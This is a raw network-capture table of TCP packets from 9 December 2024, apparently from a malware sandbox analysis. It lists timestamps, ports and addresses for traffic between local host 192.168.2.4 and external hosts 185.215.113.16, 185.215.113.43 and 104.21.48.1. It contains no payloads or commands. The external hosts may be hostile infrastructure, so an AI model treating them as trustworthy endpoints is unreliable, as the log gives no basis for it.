Dec 9, 2024 23:09:47.143754959 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.144428968 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.144470930 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.144480944 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.144973993 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.145040035 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.145062923 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.145812035 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.145857096 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.146055937 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.146373987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.146415949 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.146418095 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.147357941 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.147403955 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.147430897 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.147826910 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.147867918 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.148024082 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.148509026 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.148551941 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.148564100 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.149211884 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.149257898 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.149286985 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.149879932 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.149919987 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.150017023 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.150527000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.150578022 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.150640011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.151417971 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.151453972 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.151457071 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.152012110 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.152055979 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.152117968 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.152605057 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.152647018 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.152762890 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.165710926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.165755033 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.165848017 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.165858984 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.165896893 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.165977955 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.165988922 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.165998936 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166022062 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.166196108 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166240931 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.166266918 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166277885 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166287899 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166299105 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166307926 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.166337967 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.166784048 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166795015 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166805029 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166815996 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166826010 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166827917 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.166836023 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166846991 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166848898 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.166857004 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166867971 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.166874886 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.166896105 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.167644024 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.167654991 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.167665005 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.167675018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.167685032 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.167686939 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.167695999 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.167706966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.167712927 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.167721033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.167732000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.167742968 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.167745113 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.167777061 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.168553114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.168565035 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.168574095 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.168584108 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.168592930 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.168593884 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.168605089 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.168615103 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.168618917 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.168626070 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.168634892 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.168641090 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.168652058 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.168656111 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.168689013 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.169413090 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.169424057 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.169434071 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.169445038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.169455051 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.169456959 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.169466019 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.169486046 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.169905901 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.169918060 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.169951916 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.170109034 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.170120001 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.170150995 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.170803070 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.170850992 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.171024084 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.171386003 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.171459913 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.171535969 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.172137976 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.172188997 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.172190905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.172856092 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.172898054 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.172931910 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.173569918 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.173614979 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.173660994 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.174222946 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.174266100 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.174320936 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.174899101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.174942970 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.175090075 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.175601959 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.175646067 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.175873041 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.176296949 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.176338911 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.176374912 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.177192926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.177232027 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.177320957 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.177651882 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.177766085 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.177794933 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.178313971 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.178359985 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.178483963 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.179016113 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.179064035 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.179176092 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.179747105 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.179794073 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.179955006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.180402040 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.180444002 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.180779934 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.227694035 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.227766991 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.231988907 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:47.330749035 CET	49893	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:47.331028938 CET	49905	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:47.450330973 CET	80	49905	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:47.450478077 CET	49905	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:47.450655937 CET	80	49893	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:47.450733900 CET	49893	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:47.451219082 CET	49905	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:47.484430075 CET	443	49897	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:47.484519005 CET	443	49897	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:47.485579967 CET	49897	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:47.485702991 CET	49897	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:47.485713959 CET	443	49897	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:47.570447922 CET	80	49905	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:47.691657066 CET	49906	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:47.691673994 CET	443	49906	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:47.691744089 CET	49906	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:47.692051888 CET	49906	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:47.692060947 CET	443	49906	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:47.759465933 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:47.759511948 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:48.316324949 CET	49906	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:48.687496901 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:48.687550068 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:48.814275026 CET	80	49905	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:48.816768885 CET	49905	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:49.105165005 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.224570990 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.224661112 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.224672079 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.224715948 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.224809885 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.224858046 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.224932909 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.225018024 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.225028038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.225064039 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.225212097 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.225251913 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.225765944 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.225863934 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.225874901 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.225924015 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.226062059 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.226106882 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.226627111 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.226681948 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.226695061 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.226728916 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.226814985 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.226876020 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.227475882 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.227529049 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.227540970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.227569103 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.227690935 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.227735043 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.228235006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.228315115 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.228324890 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.228364944 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.228498936 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.229085922 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.229126930 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.229214907 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.229224920 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.229254961 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.229315042 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.229357004 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.229897022 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.229981899 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.229991913 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.230015039 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.230139017 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.230467081 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.230709076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.230822086 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.230838060 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.230864048 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.230943918 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.230989933 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.231570959 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.231626987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.231637001 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.231657028 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.231811047 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.231887102 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.232398987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.232453108 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.232461929 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.232482910 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.232841015 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.232881069 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.232903957 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.232914925 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.232947111 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.233062983 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.233665943 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.233700991 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.233727932 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.233740091 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.233783007 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.233905077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.234481096 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.234569073 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.234586954 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.234610081 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.234632015 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.234707117 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.235353947 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.235388994 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.235395908 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.235495090 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.235507011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.235538960 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.236272097 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.236326933 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.236336946 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.236350060 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.236385107 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.236414909 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.237006903 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.237036943 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.237046003 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.237055063 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.237086058 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.237240076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.237797022 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.237848997 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.237859011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.237879038 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.237906933 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.238061905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.238595009 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.238635063 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.238675117 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.238686085 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.238720894 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.238837957 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.239470005 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.239523888 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.239535093 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.239552975 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.239578962 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.239690065 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.240323067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.240341902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.240353107 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.240376949 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.240396976 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.240534067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.241082907 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.241175890 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.241185904 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.241214991 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.241225958 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.241337061 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.241972923 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.242011070 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.242012978 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.242022038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.242053032 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.242162943 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.242791891 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.242851019 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.242860079 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.242880106 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.242907047 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.243057966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.243598938 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.243643045 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.243660927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.243670940 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.243701935 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.243825912 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.244405031 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.244445086 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.244478941 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.244492054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.244529009 CET	49868	80	192.168.2.4	185.215.113.16
